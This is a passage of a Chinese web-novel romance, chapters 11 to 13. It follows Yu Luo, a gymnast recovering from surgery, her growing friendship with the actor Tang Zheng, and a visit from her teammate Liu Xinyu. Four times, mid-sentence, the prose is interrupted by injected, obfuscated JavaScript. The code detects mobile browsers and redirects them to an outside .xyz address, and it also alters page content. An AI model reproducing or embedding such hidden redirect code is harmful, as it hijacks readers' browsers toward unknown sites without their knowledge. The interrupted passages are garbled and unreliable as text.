虞落不太了解,但能听出来很辛苦,“为什么不能错开呢?拍夜戏的时候白天休息。” 堂徵觉得好笑,“要不你去当我老板?给我多拨一点资金,场地租一天不少钱呢”虞落还真是单纯得可爱。 虞落也被自己蠢到,只好换个话题,“那你明天几点开始拍啊?” “是今天了。”还跟了个狗头表情。 确实哦。虞落又改口,“那你今天几点开始拍?” “今天比较迟,酒店开工,我七点走来得及。” 虞落看了眼手机右上角,六点三十六,“那你岂不是快要走了?”只能待几十分钟,还花了两个多小时来。 “嗯,还能待二十三分钟。”手机上的数字正好跳到了六点三十七。 虞落正想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069358|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说点什么,透明框里的脸突然就消失了,她放下手机,费劲地撑着上半身立起来,往外望了望,什么都没看到,又躺回去,拿起手机。 堂徵坐到了病房外的长椅上,发来了一句解释:“刚刚有护士经过,我差点被当成小偷了。” 噗。没等虞落回呢,对面又紧跟了一句,“哪有我这么帅的小偷。” 虞落被逗笑,又不敢发出声音,只能躲在被子里一抽一抽的,顺着堂徵的话回道,“是是是,你说的都对。” 堂徵开始问起虞落的情况,“那你大概哪天可以出院?” “手术后十二天拆线,然后就可以回家休息。”字还停留在发送框里,身旁行军床上的余绢突然动了一下,虞落吓了一跳,赶紧把手机塞到枕头下面,闭上眼睛装睡。 余绢好像坐起了身,走了几步,应该是怕吵醒她,才故意放慢了脚步,慢慢地,又听到了病房里卫生间门打开的声音,很细小,过了几分钟,余绢又悄悄出来,关上门,继续睡觉了。 虞落听着声音,余绢的呼吸声逐渐变得平稳,她才安心拿出手机,堂徵已经发来了好几条消息。 “?” “人呢?” “再不回我,我走了啊。” “我真的走了啊。” “算了,再等你一会。” 这人还真能自说自话,才几分钟就自导自演了一部戏。 虞落无奈回道,“我妈妈刚刚去了卫生间。” 对面一时没回,虞落突然有点慌,“你不会真走了吧?” “看门口。” 虞落抬头,堂徵又站在门外了,热情地挥手,发现自己已经看到他后,他低头打字,“是不是很怕我已经走了?” 确实很怕,虞落这才意识到自己的真实想法。 虞落咬了咬下唇,把刚才的话删掉,回道,“还有十分钟你确实就要走了。” “所以你到底哪天出院呀?”堂徵还在锲而不舍刚刚的问题 早知道就不删了!虞落只好又打了一遍发过去。 “还有八天?那就是下周日。”堂徵算得很快。“正好是九月一号哎。” “九月一号有什么特别的吗?” “新一个月的开始啊,万事皆可重头再来。” 猝不及防一碗鸡汤。虞落倒是突然想起了一件事,“本来那天我要去学校报道的。” “报道?你们还需要上学?”堂徵觉得新鲜。 虞落无语,“当然,我成绩很好的。” “那你在哪个学校?学体育专业吗?” “浙江大学。” “厉害呀,这可是名校。” 虞落看到堂徵的夸奖心里漫着小得意,但还是谦虚了一下,“因为特长生才进的。” “那也很厉害呀。”堂徵继续关心道,“那你出院了住哪?宿舍吗?那你爸妈怎么照顾你?” “我回家住,只是我爸妈平时不住北京,我才住宿舍的。”那套房本来就是虞明港和余绢提议要买的,说是住在北京比杭州好,但实际上也没住过几次。 “不错呀,房产挺多。”堂徵打趣道,不过界面突然一闪,周成涛给自己打了个电话。 堂徵看了眼时间,五十六了,催自己回去呢,跟虞落说了声,就先回车上了。 虞落回了句,“让那位周先生注意安全,你可以在车上睡一会。今天谢谢你啊。” 周先生。这个称呼堂徵还是第一次听到,他们两互相称呼倒有些莫名的默契,有点好笑,“知道了,你也快睡吧。晚安。” 天边已经露出了微微的曙光,虞落看了眼那道隐隐的橙红,收起淡淡的不舍,扬起嘴角回道,“晚安。” 11. 11 虽然那个时间和地点被拍到的概率不大,但周成涛事后还是很严肃地对堂徵进行了批评教育,堂徵看上去的确也虚心接受了,每天收了工就乖乖在酒店待着,周成涛还是很满意他的表现的。 九月正是秋老虎强劲的时候,早晚虽然已经有些凉了,但中午还是会热出一身汗,虞落到家后第一件事就是好好洗了个澡。 余绢和虞明港一大早就给虞落办了出院,然后收拾了下这几天住院带去病房的东西便一起回家了。 王则月和朱良都没来,虞落没让她们来,出个院而已,不想再给两个指导添麻烦了。 北京的这个房子虞落其实也就只会在每年过年的时候来小住一段时间,队里过年时会有冬训,也会有联欢,放假也就那么几天,虞落其实更愿意待在宿舍,但余绢一直坚持过年一家人要坐在一起团团圆圆吃顿饭。 很久没回来了,余绢和虞明港平时也不住这里,但应该是提前找人打扫过了,陈设都没变,也依旧一尘不染。 传来几下敲门声,传来余绢的声音,“落落,妈妈能进来吗?” 虞落应了一声,前去开门。 余绢手里端着一杯牛奶,“落落,你现在还是不要多走动,还是要多卧床休息,妈妈自己推门就行了。” 虞落笑笑,“没事,就几步路。” “牛奶给你热好了,你趁热喝啊。”余绢看起来有些不好意思,“那个,落落啊,下午爸爸妈妈还有工作...” 话说到一半又没继续了,但虞落都懂,低头掩饰住内心的失望,懂事道,“没事,您去吧,我正好喝完牛奶睡一会。” 余绢伸出手,想拍一拍女儿的头,但不知道为什么又停在半空,又尴尬地收回身侧,扯出一个笑,说,“我们晚上一定回来,一起吃饭。” 虞落点点头,“嗯。” 睡了一个很长的觉,做了一个很奇怪的梦。 好像回到了小时候,在外婆家的院子里,有五颜六色的花,还有高高的葡萄藤架,外婆为了她训练还特地找人在院子里安置了一根单杠。 外婆很宠她,放假的时候任由她睡过正午,训练的时候外婆就会在一旁的藤椅里听广播,她趁着外婆不注意就要伸出小手去摘外婆的花。外婆明明在闭目养神,可每次都能发现她在偷懒,“囡囡,外婆的花都要被你拔光啦。” 每到假期,家里的小孩都会来外婆家住几天,舅舅和大姨也会来,表哥和表姐每次都要问,“虞落,你的爸爸妈妈呢?”虞落只能摇摇头,表哥和表姐便齐声喊道,“你没有爸爸妈妈。”虞落也会反驳,“不是的,我的爸爸妈妈只是工作忙,没有时间来。”表哥表姐便一定要整个上风,“我们的爸爸妈妈都告诉我们了,你爸爸妈妈不要你了。”这个时候外婆便要过来,“你们做哥哥姐姐的不要欺负囡囡啊。” 被欺负的多了虞落便也不会哭了,后来遇到什么委屈虞落也都不会外露自己的情绪。 外婆去世的时候,虞落11岁,她本来就比同龄人要懂事些,知道什么是“死亡”,但她没哭。她想,外婆一定不想看到她哭吧。不过,舅舅和大姨那段时间一直说,“养不熟的东西!” 画面一转,转到了杭州的家。刚被选入国家队那天,虞落很激动,带着消息奔回家里,爸妈也难得都在,兴奋一时冲昏了头脑,虞落没有注意到爸妈的脸色,自顾自地一直说,“爸爸妈妈,我被选上国家队啦!”余绢和虞明港当时正处在创业瓶颈期,本来在头疼公司这个月亏损的状况,也没把女儿的好消息太放在心上,“嗯,挺好的,先回房间写作业吧。”省队里的文化课哪有这么多作业?不过虞落小小年纪就懂得察言观色,虽然失落,但还是乖乖回了房间。 虞落虽然和外婆很亲,但还是和别的小朋友一样,希望可以和爸爸妈妈有更多相处的时间。刚回自己的家的时候,即使被浓厚的陌生感充斥着,虞落每天还是希望可以和爸爸妈妈多相处一些时间,但每天陪着她的只有一个打扫卫生和做饭的阿姨。 画面又跳到了北京。好像是前年过年的时候。余绢和虞明港的事业已经小有成就,在北京买了套房,趁着过年休假一家人可以团聚。虞落很期待,在体操队春节联欢时一直在走神,表演的舞蹈都跳错了动作,还被刘欣羽嘲笑很久。爸妈让家里的司机刘叔叔来接的她,见面第一句便是,“落落,你爸妈今晚有事,让我来接你。”一盆冷水在北京冬天气温零下的夜里当头浇下来,太冷了,连眼泪都被冻住了,掉不出来。 失望太多次,虞落也学会了披上盔甲,没有期待,便也无坚不摧了。 也许是没开空调的缘故吧,再次醒来的时候虞落的脖子、后背都汗如雨下。五点多了,爸妈都还没回来,虞落决定再去洗个澡。 刚拆线,再加上躺了那么多天,虞落腿脚仿佛是失去行走能力了,行动十分不畅,一路扶着墙走过去的,洗澡的时候,不慎滑了一跤。 地上不凉,莲蓬头里一直在喷洒着热水,头发都被淋湿了,虞落坐在地上,下午做的梦如放电影般一股脑涌进脑海。 刚做完手术那几天,腿一直都隐隐作痛,但还好,能忍得下来。 摔了一跤,也不知道伤口怎么样了,反正所有的疼痛都在此刻爆发了,眼泪也不受控制挣脱了眼眶,一串接着一串。起初,虞落还没有意识到这是自己的眼泪,以为是喷洒在脸上的热水,直到嘴角尝出这是咸的,心底的最后一道防线也随之崩塌,在“哗哗”的水声的掩盖下,虞落开始嚎啕出声。 即使家里没有人,她也不想暴露自己的软弱。 洗好出来虞落才发现爸妈已经到家了,可能刚刚难过的时候太专注,都没有听到他们的声音。 余绢一看到虞落便扬起一个笑容,但依旧难掩眉眼间的疲惫,“落落,饿了吧?赵阿姨等会就来,你先吃点零食吧。” 心里缺的一块一下子被填上了,很突然,虞落还在纠结余绢和虞明港有没有听到自己的哭声,现在又感觉没那么重要了,“我不饿,妈妈。” 回到房间虞落才发现,自己竟然洗了快一个小时,微信来了好几条消息,堂徵还给自己打了个电话。 咦,大忙人这么闲的?反正自己是挺闲的,回了个电话,对面接的还挺快。 “你怎么现在才看到?”堂徵的声音清晰传来,听着还挺悠闲。 “刚刚在洗澡。”明明才隔二十分钟呢。 第一次和堂徵打电话,和打字不一样,虞落有些莫名的紧张,玩笑也开不起来。 堂徵一句玩笑话被虞落正经的回答堵住了,一时竟也不知道该说些什么了。两人的呼吸在电流声中此起彼伏,短暂的安静后,两人同时开口。 “你打电话有什么事吗?” “你猜猜我为什么打电话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069359|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噗。两人又同时笑出了声,本来还有些尴尬的气氛此刻也消弭了。 “过段时间我要开个生日会,会请一些粉丝,你要不要来?”片刻,堂徵发出了邀请。 “我又不是你粉丝。”虞落有点动心,但又不想那么轻易答应。 “你来做我的特邀嘉宾啊,正好可以把你介绍给我的粉丝,他们也不会乱说话了。” 上次被拍到之后,堂徵虽然出面解释了,但还是有一批不相信的粉丝,堂徵也不希望虞落因此受到伤害。 虞落也确实看到过一些言论,但她根本没放在心上,“我又不在乎你粉丝怎么说。” “可是我在乎啊。”堂徵脱口而出,又觉得不妥,解释了一句,“我要让我的粉丝迷途知返。” 虞落心跳一下子慢了半拍,一时接不住堂徵的话。 堂徵循循善诱,“而且你要是来的话,还可以给我的粉丝分享一些体操相关的知识,体操在国内太小众了,它值得被宣传得更广。” 这的确是很诱人的地方,虞落顺着台阶开口,“什么时候啊,我现在的情况,指导们和我爸妈肯定都不给我出门。” 堂徵看虞落口气松了,大喜,“时间看你,我这边都可以,很好协调。”又怕她反悔,加了一句,“你答应了哦,一定要来哦。” 像小孩子拉勾勾似的,虞落失笑,说,“知道啦。你打电话就为这个事?” “什么叫‘就为’?邀请你可不得正式一点啊。”堂徵的声音听着还有些骄傲,似乎是因为成功满足了心愿。 虞落听到耳中也有些得意,“所以大忙人今天怎么有时间给我打电话?不用工作?” “今天场地出了点问题,剧组没办法,只好给我们放半天假。” 虞落突然有些好奇,问道,“所以你现在拍的是什么呀?电视剧吗?” “一部电影,明年情人节上映的。” “是讲什么的?”虞落又小心翼翼加了句,“是不是不方便透露?” 堂徵笑,“没什么不方便的,一个文艺片,主要是关于一个喜欢写诗的人...”堂徵详细描述了一遍情节。 “那你是演那个诗人?” “对啊,到时候记得去支持我,要包场那种。” 虞落认真回答,“情节感觉还挺有意思,到时候可以请队里的姐妹去看。” “逗你玩的,几个人到时候告诉我,几张票不是问题。” “情节一般不是不能泄露吗,你不怕我告诉别人?”虞落突然反问了一句。 “我相信你不会说啊。”堂徵答得理所当然,倒把虞落说愣住了。 “导演突然找我,我得过去一趟。” 周成涛突然闯进来,好像场地问题解决了,吴导让先过去,能拍多少是多少。 “嗯好,你快去吧,拜拜。” 挂了电话,虞落才意识到,堂徵只要是为了邀请自己去参加他的生日会,可是自己好像还不知道他的生日。 大明星就是这点好,想要的资料网上都能搜到,虞落快速百度了一下,九月十五号,那岂不是只有两个星期了? 过生日的话,是不是还得挑个礼物啊? 虞落最怕麻烦,没想到随便答应的事情,还有这么多要准备的。 不知道为什么,此刻她竟有些期待,反正最近闲着也是闲着,挑个礼物也很容易嘛。 12. 12 腿脚不太方便,再加上白天家里基本上没人,虞落刚出院那几天在床上躺到发霉。 余绢和虞明港一般都傍晚时分到家,还挺准时,一家人会在一起吃晚饭,有时候吃完饭还一起看会电视,气氛比之前融洽得多。 手机玩得多了也没什么意思,追了几部剧,刘欣羽强烈推荐的,去年大火的《太阳的后裔》,还有上个月很火的《最好的我们》,几个主角看着都很养眼,谈起恋爱来确实也挺令人向往的。 不知道堂徵以后会不会演这种电视剧呢? 说到堂徵,大概太忙了吧,每次发消息都是在半夜,再回过来基本就隔天了,偶尔时间撞上聊几句,也算是无聊躺尸的日子里最快乐的时刻了。 时间已经快到下午两点了,虞落懒得下床,床头柜上放了好几包吐司,早上懒得下床当早餐吃的。 正纠结着中午要不继续吃吐司的时候,门铃响了。 余绢和虞明港回来都会自己按密码,今天赵阿姨家里有事请假了,晚上才会来,虞落队里的朋友应该也不会这个时候来找她。 还能有谁啊? 虞落撑着下了床,缓慢挪到玄关处,门铃一声比一声高,催魂似的,虞落从猫眼往外看了一眼,一个人高的毛绒玩具熊,一下子便猜到了是谁。 开了门,那只毛绒玩具熊便一个猛扑,使劲往自己怀里钻,饶是虞落早有准备,也重心歪了下,差点摔倒,“你怎么来了?” 玩具熊转换到了虞落怀里,正主也露出了脸,一张小小的圆脸上眉眼弯弯,边费力地把行李箱抬进屋里,小嘴还一边开心地持续输出,“来陪你呀,我可是特地请假来的。这几天我可就赖在你家不走了哦,你的床也要分我一半。” 除了刘欣羽还能有谁? “张教练能放你走?”虞落难以置信,真担心这丫头是私自跑出来的,回去还得受处分。 “那自然不能。”刘欣羽好不容易把她的特大号箱子搬了进来,抬头看到虞落眉头紧锁又解释道,“放心啦,我现在开学了,我在学校请过假就行了。” 哦对,本来她应该和刘欣羽一起去报道的来着,虞落这才放心,“你直接把箱子拖到我房间吧,随便参观。” 刘欣羽在天坛公寓就和她住一间,不过还是第一次来虞落在北京的家,不禁探头四处张望,“叔叔阿姨不仅有钱,还挺有格调啊。” 确实,余绢特地找了好几个很有名的室内设计师共同设计,装修的时候每件小事都亲历亲为,那个时候虞落满心欢喜地以为他们真的会在北京拥有一个家。 “这是我的房间。”虞落指了指朝南的一个大房间,正是一天中最好的光景,阳光透过大大的飘窗泼洒进房间,地板被照得熠熠生辉,虞落的床也被笼罩在其中。 “哇,你每天这么躺着也太舒服了吧,还能晒到太阳。”进了房间,刘欣羽像是打开了一个新世界,“小美人,这么少女心的房间真的是你的吗?” 藕粉色的墙纸,乳白色的床,还有粉色的全套书桌书柜,和虞落宿舍的简洁风格截然不同。其实是余绢精挑细选的,虞落也没提出过异议,当初对这个房间里的一切,她都有着满满的期待。 “客房没收拾,我们俩就睡一张床呗?”虞落刻意避开了上一个话题。 “我就想和你睡一张床!晚上还可以聊天。我们俩都好久没一起睡过觉了。”刘欣羽笑嘻嘻。 虞落和刘欣羽是在省队认识的,那个时候两人都才十岁,宿舍四个人里,她们两关系最好,有什么团建或者出去比赛,她们两都住一间。后来她们两又同一年被选入国家队,又被分进同一间宿舍。刚进国家队的时候,年纪小,第一次离家这么远,两个人经常挤在一张床上睡。 “小美人”的外号也是刘欣羽取的,从见面第一眼刘欣羽就一直夸虞落长得好看,省队里的队友听到后也都跟着这么喊,到了国家队,女队内部也学了起来,就连两位指导有时候开玩笑都会这么喊她。 刘欣羽一句话倒是勾起了两人不少回忆,虞落扬起嘴角,“好呀。” 余绢下午打来个电话,说是今天要迟点回来,听到刘欣羽来了之后,语气也轻松了点,让他们好好玩,还让赵阿姨来给她们做了晚饭。 “叔叔阿姨晚上在这里住吗?”刘欣羽一直知道虞落和父母关系很生分,但很少打听。 “偶尔回得迟些,前几天都是和我一起吃晚饭的。”虞落如实相告。 刘欣羽点点头,“真好,下次国家队再训练,你中午还能回家和叔叔阿姨一起吃饭。” 余绢和虞明港应该没那么闲吧?虞落脸上一直挂着笑,没说话。 即使心里对爸爸妈妈有失望,但她从未对别人说过。 被子已经被踢得不成样子,刘欣羽坐起身,又把灯打开,捡回被子,稍微整理了下,再把灯关上,郑重说道,“我家阿徵要过生日了,你说我送什么好呢?” 听到“阿徵生日”这几个字,虞落突然想到那件很重要的事似乎还没告诉刘欣羽,现在说好像又有些迟了,只能支支吾吾道,“我,我怎么知道。”又试图打消刘欣羽这个念头,“你怎么送给他啊,你又见不到他。” “阿徵是我家的,送给他就相当于送给我自己啊。”刘欣羽说得理所当然。 原来只是找理由给自己买东西,虞落悄悄舒了口气。 “你直接说你想买东西了不就完了。”虞落捏了捏刘欣羽的脸,软软的,手感真好。 虞落脸很瘦,她曾经表示很喜欢刘欣羽的圆脸,但刚刚说出口被刘欣羽暴打了一顿,刘欣羽还说她“身在福中不知福”。 “小美人你能不能有点仪式感。”刘欣羽嘟囔道,但下一秒又两眼放光,“你知道吗,这是我喜欢阿徵的第五年了。” 虞落知道,当时她们刚来北京,刘欣羽每晚都想家。 一次放假她们去天坛附近那家早餐店吃饭,老板也是阿徵的忠实歌迷,那段时间天天放阿徵的新歌《光》,刘欣羽听着听着便也喜欢上了,回去就找了阿徵所有的歌来听。从此便陷入了阿徵的“坑”,光荣地成为一名“珍珠”。 “珍珠”便是指阿徵的粉丝。 刘欣羽抱着虞落,喃喃道,“阿徵是陪我度过很多个无眠的夜晚的人,所以啊,”语调一转,“你要是有他的什么独家信息可一定要告诉我啊!远哥和阿徵是发小,但他什么都不说,落落,我相信你不是这样的人!” 虞落突然有些心虚,自己好像和堂徵可以算是朋友了,但从来没告诉过刘欣羽。最开始是为了保护堂徵的隐私,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069360|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在看来,显得她很对不起刘欣羽啊。 虞落犹豫了下,还是清了清嗓子,“欣欣,还真有件事忘跟你说了。” “快说快说。”刘欣羽激动得一下子坐了起来,还把虞落也拉了起来。 两人就这么在黑暗中盘腿对坐,场面一下子正经又好笑。 “其实也没什么,”也不知道虞落是在纠结还是吊刘欣羽的胃口,拖了一会才继续道,“就是,堂徵邀请了我去参加他生日会。” “啊啊啊!”刘欣羽瞪大了眼睛,尖叫了足足一分钟,“小美人,怎么回事,你们俩发展这么快了还不告诉我?快说,你们俩到底怎么勾搭上的?发展到哪一步了?谁追的谁?...” 刘欣羽的问题像一串机关枪炮弹,虞落只好等弹尽粮绝才开口,“你一下子问这么多,到底想让我回答哪一个?” 刘欣羽紧紧攥着她的手,歪着头挑了个问题,“谁追的谁?”又自我否定,“不行,你们俩怎么勾搭上的?”又纠结了一下,“不对,他找你去参加生日会干什么?你们是不是要官宣了!” 虞落无奈,先回答了最后一个问题,“我们两什么事都没有,他邀请我参加生日会也只是以朋友的身份,顺便可以推广一□□操,何乐不为?” 虞落一直都很无奈外界对体操的误解。和乒乓球、羽毛球等相比,体操实在太小众了,何可欣、邓琳琳等一些大家熟知的体操老将退役后,体操队也不复往日的荣耀,也渐渐淡出大家的视线了。 这是个很好的机会让大家都来了解、支持体操队。 刘欣羽知道虞落的心思,但还是半信半疑,“那你们俩怎么联系上的?” 虞落哭笑不得,只好把在机场偶遇、加上微信的事情解释了一遍,最后还千叮咛万嘱咐,“你千万别往外说啊。” 刘欣羽翻了个白眼,“一个是我偶像,一个我闺蜜,我又不傻。” 激动和喧闹褪尽后,两人肩并着肩平躺着,刘欣羽望着天花板,感慨了一句,“我本来没想过要和我偶像有什么,就这么远远望着他就好了,没想到还有转折。你说,要是真成了我姐夫,我该怎么面对他?” 虞落比刘欣羽大几个月,这么说也没错。 “欣欣,要真是那样的话,你会生气吗?”半晌,虞落突然问道。 刘欣羽侧过头,认真看着对面楼灯光隐隐照过来时虞落的侧脸轮廓,说道,“想什么呢,阿徵只是偶像好嘛。小美人,你记住,我和你是好朋友,我们才是一边的。” 虞落感动了一瞬,但很快被刘欣羽的又一次激动打断,“等等,小美人,你以前一定会说,没有这种可能。你刚刚怎么回事,你们俩是不是已经暗度成仓了?” 虞落无语,“不早了,睡吧,熬夜让人愚蠢。” 刘欣羽还在哇啦哇啦,“你内涵我!小美人你学坏了!” 虞落也不否认,最近好像确实跟堂徵学得腹黑了一点点,话也变多了一点。 两人也很快安静下来了,黑夜的安静放大了两人呼吸的声音,刘欣羽突然开口道,“小美人,说真的,只要你喜欢,和谁在一起我都支持。” 黑暗中,虞落挑起嘴角,一双杏仁般的眼睛弯弯,“你也是,欣欣,晚安。” “晚安小美人。” 13. 13 隔天是阴天,虞落醒来的时候,没有透过窗帘直直刺入眼睛的阳光,还有些不习惯。 刘欣羽还没醒,虞落小心翼翼用胳膊撑着上半身,绕过刘欣羽去够床头柜上充电的手机,屏着呼吸,成功将“猎物”纳入囊中。 堂徵昨夜果然又发消息来了,“你现在的地址是什么?” 问地址?虞落咬着下嘴唇,尽力控制笑意在嘴角蔓延,回道,“你要我地址干什么?” 回完就迅速把手机塞到枕头底下,眼睛睁得圆溜溜的望着天花板,没有阳光的日子,天花板上也没有了或大或小隐隐浮动的光斑。 但还是好看,纯纯的有些阴阴暗暗的粉色也好看。 等了一会,堂徵还没有回,虞落知道他在忙,翻了个身,把身体往被子里缩了缩,居然还有点凉凉的。 翻了个身好像脑子也变灵光了,既然问地址,应该是有什么重要的事情吧?那自己要不先发过去,这样堂徵闲下来看手机第一眼就可以看到。 又迅速翻了个身,手伸到枕头底下去摸手机,身旁的刘欣羽突然嘟囔了句,“小美人...” 后面说了什么没听清,但虞落拿手机的动作瞬间僵住,脸上也火烧火燎的,怎么有种偷情被当场抓包的感觉? 稍稍缓了下,虞落才慢慢开口,“欣欣?你说什么?” 等了会,旁边倒是没再传来说话声,刘欣羽的呼吸声也渐趋平稳,虞落才把一颗要跳出来的心又稳稳回了原位。 刘欣羽睡觉挺沉的,有时候也会嘟囔几句梦话,自己怎么就给忘了呢? 拿出手机,快速把自家的地址编辑进输入框,发了过去。 对面这次倒回得很快,一个“OK”的手势表情,虞落一头雾水,难道要和上次在医院一样搞“偷袭”? 不由有些着急,说的话也没太过脑子,“你要干什么呀?这几天刘欣羽还住在我家呢,你别夜里随便来呀。” “哟,这么想见我?总是夜里见不太好吧?” 什么嘛,自己怎么开始说话不过脑子了。 虞落狠狠懊悔了一下刚刚的“冲动发言”,怎么变得好像自己在主动邀请他来幽会?什么鬼什么鬼,还是在夜里... 脸越发烫了,虞落赶紧收了手机,闭上眼睛快速酝酿个回笼觉。 刘欣羽就请了两天假,周二下午就要回了。 虞落帮着刘欣羽收拾东西,她还让赵阿姨给刘欣羽买了好些特产。 来的时候本来带了一个大箱子装了许多带给虞落的东西,没想到走的时候一个大箱子竟然还不够,加上好几个包。 刘欣羽无奈,“小美人,我又不是第一次来北京,也不是最后一次,你怎么跟我妈似的塞这么多?” “这不是之前在队里天天念叨要吃的吗?再说了,你每次来北京都是训练,哪有时间买这些。”在队里要保持体重,指导和教练管得都严,上学了估计会好一点,虞落一边说,还在一边使劲往里塞。 “你不怕我长胖啊?等冬训王妈妈要骂死我的时候,我就说是你怂恿我吃的。”刘欣羽一边帮着把虞落准备的好吃的全都塞进去,一边嘀嘀咕咕。 “真是不识好人心!”虞落轻轻弹了下刘欣羽的脑袋。 “说真的小美人,你什么时候回来啊?”刘欣羽突然伤感,“本来应该一起去报道的,现在只剩我一个人了,真没意思。” 虞落手上的动作顿了顿,轻声道,“我也不知道,再休息一周我就能去复健了,复健应该就可以去学校了吧?不过不知道是在北京进行,还是回去进行。” 刘欣羽后悔自己怎么提了手术这茬,放下手里的东西,上前抱住虞落,安慰道,“没事的,你肯定可以恢复的,我一直都等你哦。” “搞什么呢,这么煽情,快收拾东西!”虞落最不喜欢矫情,推开刘欣羽,玩笑道。 虞落是柔软的,但她总爱在本色之外套一层盔甲,在别人眼中,她要活得毫无弱点、无坚不摧。 赵阿姨是北方人,送别的时候一定要包饺子,中午也特地给刘欣羽包了顿饺子,还是酸菜馅的。 “这是我妹妹从老家给我寄来的,去年过年的时候我就见落落喜欢,这不正好带一点来包饺子。”赵阿姨爽朗,在虞落家做饭、打扫卫生也有很多年了,一直把虞落当成自己的孩子来疼。 刘欣羽像盯着外星人似的观摩了赵阿姨和面、擀皮的全过程,全程高能,手法十分娴熟,佩服道,“谢谢阿姨,您也太厉害了!我还没吃过正宗的酸菜呢,也是第一次看人自己擀皮包饺子,看着就好香!” “这酸菜是我妹妹自家做的,这味儿,绝对正宗!”赵阿姨拍着胸脯自信保证,给两人分别盛了一碗。 “阿姨,真的好好吃!”刘欣羽大口嚼着还不忘夸赞。 虞落拉开一把椅子,“阿姨,您和我们一起吃吧。” 赵阿姨拒绝道,“不啦,你们慢慢吃,碗就放水池里我晚上来洗,我得回去看看我儿子,那臭小子不懂事,我不在家指不定跑哪玩去了。” “阿姨,那您回家注意安全啊。” 赵阿姨走了没多久,门铃突然响了,刘欣羽舍不得停下吃东西的嘴,又塞了一个进嘴里起身去开门,含含糊糊说,“是赵阿姨落下什么东西了嘛?” 门外是个快递员,抱着个精致的小盒子,“您好,是虞落吗?您有个快递请签收一下。” “小美人,你的快递?”刘欣羽回头问她,“是什么呀?” 虞落一脸茫然地摇了摇头,“不知道啊,你先帮我签收了吧。” 小盒子还挺精致,宝蓝色丝绒材质的,一根细细的缎带绕过盒子系成了蝴蝶结,刘欣羽反过来覆过去看了好几遍,“小美人,你是买了什么首饰吗?” 虞落耸耸肩,“没有啊,你拆开看看呗。” 又是尖叫声先行,“啊啊啊!”刘欣羽从小盒子里取出一张小卡片,“落落,这是阿徵生日粉丝见面会的嘉宾邀请函,啊啊啊,落落,我一定要拍个照,纪念一下。” 虞落无所谓,随便刘欣羽怎么拍。半晌又想到了什么,提醒刘欣羽,“你可别在网上发呀。” “我当然知道不能乱发!”刘欣羽激动地连着“咔擦”了好几声,“自己留作个纪念嘛,小美人,我太爱你了!啊不对,我太爱阿徵了!” 虞落哭笑不得道,“至于么,快来吃饭吧,再拖你飞机就来不及了。” 刘欣羽是一个人去的机场,虞落现在还不能过多活动,虽然她本人表示没有什么关系,但还是被刘欣羽义正言辞地“骂”回房间了。 第一件事自然是要亲自看看邀请函。 那个精致的小盒子被刘欣羽小心翼翼整理好又重新系好蝴蝶结放回卧室了,虞落一步步拆开蝴蝶结,怀着按捺不住的紧张和激动。 小卡片做得很漂亮,浅浅的像海水一样的蓝色,文字带着淡淡的波纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069361|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是海水里涌动的浪,“嘉宾:虞落”。 旁边有一张堂徵的写真,桃花眼微微眯起,眼里泛着涟漪,像是在深情地盯着此时此刻正在看卡片的虞落,虞落被盯得脸红心跳,但又舍不得离开视线,沉迷了许久。 好一会才想起来应该跟堂徵说一声自己收到了,想拍张照片发过去,结果怎么拍都不满意。要么是把堂徵的脸拍得太暗了,要么就是显得卡片太丑了,虞落突然开始后悔没在刘欣羽天天研究p图的时候凑上去蹭点经验了。 摆弄了好久都没拍出满意地图片,倒是那边似乎收到了快递信息,先问道,“收到了吗?” 虞落还是决定放弃拍图,只是回了句,“收到了。” “怎么样?”带着点沾沾自喜的味道,像一只不断摇着尾巴在主人面前邀功的小狗。 “很蓝。”虞落偏不顺遂他的意,小狗被夸多了会骄傲的。 “作为我的粉丝见面会的第一位嘉宾,不该提前了解下我吗?我最喜欢的颜色就是蓝色哎。”堂徵回了个不满的表情包。 虞落傲娇,“行吧,那我现在知道了。” “知道就行,我工作去了,拜拜。” 聊的好好的怎么这么突然就“拜拜”了。 